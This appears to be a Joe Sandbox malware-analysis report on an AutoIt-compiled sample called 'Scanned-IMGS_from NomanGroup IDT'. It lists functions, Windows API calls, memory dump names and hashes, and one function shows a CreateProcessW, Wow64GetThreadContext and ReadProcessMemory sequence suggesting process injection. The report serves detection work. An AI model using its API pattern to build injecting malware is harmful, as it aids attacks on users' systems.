__dosmaperr.LIBCMT ref: 00488739

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: 71a1f6f2b23dc79ec7bc7eb4a5563044adddc391bc2dae2b8d7242c37dc129a5
Instruction ID: 356a3c93e517c8c4d6692af7eea8809ab1eaf1fb0300c6988788959f09af4ad1
Opcode Fuzzy Hash: 71a1f6f2b23dc79ec7bc7eb4a5563044adddc391bc2dae2b8d7242c37dc129a5
Instruction Fuzzy Hash: D0016B32A0526016C2307234688577F27594F92778F78091FFC14AB2D3EEAD9C82839C

Function 00461310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 004617F6

Strings

CALL, xrefs: 004617C6

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: c16631baf9c16dd1017747c61b402fbe52ab9ef28b341d066764a09af67d8e91
Instruction ID: 10e9fc102b3395bf0d17a109ab266fdf0b4f2ec4b8cde5f4ddcce9dae578dd79
Opcode Fuzzy Hash: c16631baf9c16dd1017747c61b402fbe52ab9ef28b341d066764a09af67d8e91
Instruction Fuzzy Hash: 85228E746083419FC714DF15C480A2ABBF1BF96318F18895EF4968B362E739E845CB9B

Function 00453837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00453908

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 95e534285d6c30a57fbb1856aa1cb269a7f67bbe4a953456d1f14b77794f2ce1
Instruction ID: a194c76246cf44fbb20a047d36fa0d4a6740170c72302b8bb6b697c6b90993b6
Opcode Fuzzy Hash: 95e534285d6c30a57fbb1856aa1cb269a7f67bbe4a953456d1f14b77794f2ce1
Instruction Fuzzy Hash: 3A31ABB05047009FD721EF24C884797BBE8FF6934AF00082EF99987241E775AA48CB5A

Function 00455745 Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0045949C,?,00008000), ref: 00455773
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,?,?,0045949C,?,00008000), ref: 00494052

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 75554f7f6b60c566eee1e2f9ba8cf6f74f006ec25cc260133d6e2fda4d53b945
Instruction ID: 6a59bb58bbdbb774df2e3bce7d9d7b20860a496f8d97c8eb551585fb5d156f5f
Opcode Fuzzy Hash: 75554f7f6b60c566eee1e2f9ba8cf6f74f006ec25cc260133d6e2fda4d53b945
Instruction Fuzzy Hash: 6D019230145225B6E7300A2ACC4EFA77F98EF467B1F108311BE9C5E1E2C7B85855CB99

Function 015717FD Relevance: 1.9, APIs: 1, Instructions: 400processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 01571FBB
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 01572051
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 01572073

Memory Dump Source

Source File: 00000000.00000002.1707942713.0000000001570000.00000040.00000020.00020000.00000000.sdmp, Offset: 01570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1570000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
Instruction ID: 1842425dff04eb1edea9fb49c849e2dbe0daa92399b1ec0d99f7f45e496b9654
Opcode Fuzzy Hash: 6ff7500a3617197a005732162d507dd4d37460c8dcbf147a4ae2be43d63b6423
Instruction Fuzzy Hash: 8612CD24E24658C6EB24DF64D8507DEB232FF68300F1094E9910DEB7A5E77A4F81CB5A

Function 004D709C Relevance: 1.8, APIs: 1, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 01488f938bb9973ca3890fee86f3ebac7d672feb01b0c577946b26e3d31847a8
Instruction ID: 75245c4c8cf406bdd3ecd79d7a2bdf86577935ea2a19f2bec762f6db601ba639
Opcode Fuzzy Hash: 01488f938bb9973ca3890fee86f3ebac7d672feb01b0c577946b26e3d31847a8
Instruction Fuzzy Hash: 5BD1AF34A04109EFCB14DF99C891DAEBBB5FF48314F14415BE805AB392E734AD86CB99

Function 0046FC70 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 0046FD1F

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 86b00d174548248aa95afb6964475937ed2d9b86294878e834b81985e9400cc0
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 46311674A00109DBD718CF59E48096AF7A2FF49300B2482A6E84ACF755E735EDC5CBC6

Function 00454ECB Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00454E90: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00454EDD,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454E9C
Part of subcall function 00454E90: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00454EAE
Part of subcall function 00454E90: FreeLibrary.KERNEL32(00000000,?,?,00454EDD,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454EC0

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454EFD

Part of subcall function 00454E59: LoadLibraryA.KERNEL32(kernel32.dll,?,?,00493CDE,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454E62
Part of subcall function 00454E59: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00454E74
Part of subcall function 00454E59: FreeLibrary.KERNEL32(00000000,?,?,00493CDE,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454E87

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: Library$Load$AddressFreeProc
String ID:
API String ID: 2632591731-0
Opcode ID: 7f1896725e6cd02e8f20360d7be145f0021db3132b12ec6796fc009369927c22
Instruction ID: 7559ef5f32c1462cb249920424995085a12c2fae82e09cea11d34877515ad268
Opcode Fuzzy Hash: 7f1896725e6cd02e8f20360d7be145f0021db3132b12ec6796fc009369927c22
Instruction Fuzzy Hash: B011EB32600205ABCF14BF66DC53FAD77A59F8071AF10842FF942AE1C2DE789A499758

Function 00488402 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00488440

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: 5ee07bfb49be4b8602c249d6db26edc0cd981134cc95ac10a3e076f3ce2d367d
Instruction ID: 707ff21fd283d62cfe94f01590eb69c08462ab8dc3b1f63ce7ea99ed47bfc7df
Opcode Fuzzy Hash: 5ee07bfb49be4b8602c249d6db26edc0cd981134cc95ac10a3e076f3ce2d367d
Instruction Fuzzy Hash: 5F11067690410AAFCB15DF58E94199E7BF5EF48314F14446AF808AB312EB31DA118BA9

Function 00485000 Relevance: 1.6, APIs: 1, Instructions: 52COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00484C7D: RtlAllocateHeap.NTDLL(00000008,00451129,00000000,?,00482E29,00000001,00000364,?,?,?,0047F2DE,00483863,00521444,?,0046FDF5,?), ref: 00484CBE

_free.LIBCMT ref: 0048506C

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction ID: c202ef4b9e2d26cd0327584cae1278bd1c6062fe32b6d3e85916b71baa9777c4
Opcode Fuzzy Hash: 9ba45ce058d1080761d5af908226540236078fd1fc19e2e0238d0ad147f07c6e
Instruction Fuzzy Hash: 2F014E722047055BE3319F59D84195EFBECFB86370F25091EE184932C0EB746805C778

Function 0047E602 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction ID: 2115e8e3ed21d20f8846de019e3ba887a20b6de552d706a6a26ecddba9e2821b
Opcode Fuzzy Hash: d6c69ec2a70ac845cc05b5f137181c3f07394ab8b33ef369e8c7ef627d5c9574
Instruction Fuzzy Hash: 79F0F932511A1096C6313A678D05BDB379C9F66338F508B5FF429922D2DB7C940286AD

Function 00484C7D Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00451129,00000000,?,00482E29,00000001,00000364,?,?,?,0047F2DE,00483863,00521444,?,0046FDF5,?), ref: 00484CBE

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 1cbd61374e82b1f98089d0cedae2ddb59e9a10f81f367000b12e99a66338d011
Instruction ID: 2a4a85afa66b5eb24e1000e387a29c3226d2440dd910ee0b3d00e96032746266
Opcode Fuzzy Hash: 1cbd61374e82b1f98089d0cedae2ddb59e9a10f81f367000b12e99a66338d011
Instruction Fuzzy Hash: 88F0BB3160222667DB217F629C05B5F774CAFD1760B168917B819972C1CB38D801579C

Function 00483820 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00521444,?,0046FDF5,?,?,0045A976,00000010,00521440,004513FC,?,004513C6,?,00451129), ref: 00483852

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e74e59de187e105619b91972772a3327fd729fd0791e10f123f8721425958373
Instruction ID: d63d6ae5dcf8e424601dc8d0ea21ae216a44ab9bf72d0364f4a5f26442a11b8a
Opcode Fuzzy Hash: e74e59de187e105619b91972772a3327fd729fd0791e10f123f8721425958373
Instruction Fuzzy Hash: ADE0A02120122457D6313F679C05BAF36C9AF82FB2B150827B818A66C1DB299D0283AD

Function 00454F39 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,00521418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00454F6D

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 3dbda6d2fd20ab124da9210a4402cae117ed61e0d31c4b18bf1dea6d1e9ad21e
Instruction ID: d43e15464fd6c0844f66e967ed6465676f66fe105be293bc9392816981101b8b
Opcode Fuzzy Hash: 3dbda6d2fd20ab124da9210a4402cae117ed61e0d31c4b18bf1dea6d1e9ad21e
Instruction Fuzzy Hash: C6F03072105751CFDB349F69D490852B7F4AF5431E320897FE5DA8A612C7359888DF18

Function 004BCCFF Relevance: 1.5, APIs: 1, Instructions: 26fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,00000000,00000000,?,?,?,?,0049EE51,00513630,00000002), ref: 004BCD26

Part of subcall function 004BCC37: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,00000000,?,00000000,?,?,?,004BCD19,?,?,?), ref: 004BCC59
Part of subcall function 004BCC37: SetFilePointerEx.KERNEL32(?,?,00000000,00000000,00000001,?,004BCD19,?,?,?,?,0049EE51,00513630,00000002), ref: 004BCC6E
Part of subcall function 004BCC37: SetFilePointerEx.KERNEL32(?,00000000,00000000,?,00000001,?,004BCD19,?,?,?,?,0049EE51,00513630,00000002), ref: 004BCC7A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: File$Pointer$Write
String ID:
API String ID: 3847668363-0
Opcode ID: 38bf6cd23a36ee2d7f913a48f96fbd955d553f354213bd8ac241954b33a0744a
Instruction ID: 33fdfe05a6d2cc7c0d457d668c5240bec0d089083e364cb5ba406ac0bc88cd2c
Opcode Fuzzy Hash: 38bf6cd23a36ee2d7f913a48f96fbd955d553f354213bd8ac241954b33a0744a
Instruction Fuzzy Hash: AEE0397A400604EFC7219F8AD9808AABBF8FF84260710852FE99682111D7B5AA14DBA0

Function 00452DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00452DC4

Part of subcall function 00456B57: _wcslen.LIBCMT ref: 00456B6A

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: ec3b41116186914c3087b6de08ba59543dda6686ca0dddcc43b85e5d74396574
Instruction ID: b3813515f1348c2ac89e49333c25e93f327d61641e06e34ca18d75f3502414e1
Opcode Fuzzy Hash: ec3b41116186914c3087b6de08ba59543dda6686ca0dddcc43b85e5d74396574
Instruction Fuzzy Hash: AFE0CD72A001245BCB1092599C46FEA77DDDFC8794F0500B6FD09D7259D974AD848554

Function 00452B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00453837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00453908

Part of subcall function 0045D730: GetInputState.USER32 ref: 0045D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00452B6B

Part of subcall function 004530F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 0045314E

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: 58e1617603b3498156d542c6da3c2ab4ee53e6c93790917be78fe63c31095165
Instruction ID: 311c8405c699b76d09896de26d6ee01353f826dbfb62dba082d4cd8c6736256f
Opcode Fuzzy Hash: 58e1617603b3498156d542c6da3c2ab4ee53e6c93790917be78fe63c31095165
Instruction Fuzzy Hash: B3E0262270024402CA08BF32A8524AEA7999FE239BF40143FF846831A3CE2C494E825D

Function 0049039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00490704,?,?,00000000,?,00490704,00000000,0000000C), ref: 004903B7

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: b841b5f9841a6a31ff49aa2214b9c9b803d76fe03a5d33a6fba41f71652427e1
Instruction ID: 41e867569942dd4c2af2621085654f525b1d514d630f7fd60b34fc218c90a9e6
Opcode Fuzzy Hash: b841b5f9841a6a31ff49aa2214b9c9b803d76fe03a5d33a6fba41f71652427e1
Instruction Fuzzy Hash: 50D06C3204014DBBDF028F84DD46EDA3FAAFB48714F014010BE1856021C732E822AB95

Function 00451CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00451CBC

Memory Dump Source

Source File: 00000000.00000002.1703040739.0000000000451000.00000020.00000001.01000000.00000003.sdmp, Offset: 00450000, based on PE: true

Associated: 00000000.00000002.1702982965.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.00000000004EC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703173425.0000000000512000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703313457.000000000051C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703414600.0000000000524000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_450000_Scanned-IMGS_from NomanGroup IDT.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: edd1eab9dda2fca5371daeff0941b5cffc8723caa7c4f548af05ec2db33ca9bb
Instruction ID: 63f487b4642e5a227f0ba0cab41c4bf1dc08bf45c4ab9a9faacce5b4714f74c4
Opcode Fuzzy Hash: edd1eab9dda2fca5371daeff0941b5cffc8723caa7c4f548af05ec2db33ca9bb
Instruction Fuzzy Hash: 3DC09B35380344BFF2248780BCCAF117755A77DB01F048401F6095D5E3C3A11415FB54

Function 004C744A Relevance: 1.5, APIs: 1, Instructions: 220COMMON

Download Yara Rule

APIs

Part of subcall function 00455745: CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,0045949C,?,00008000), ref: 00455773

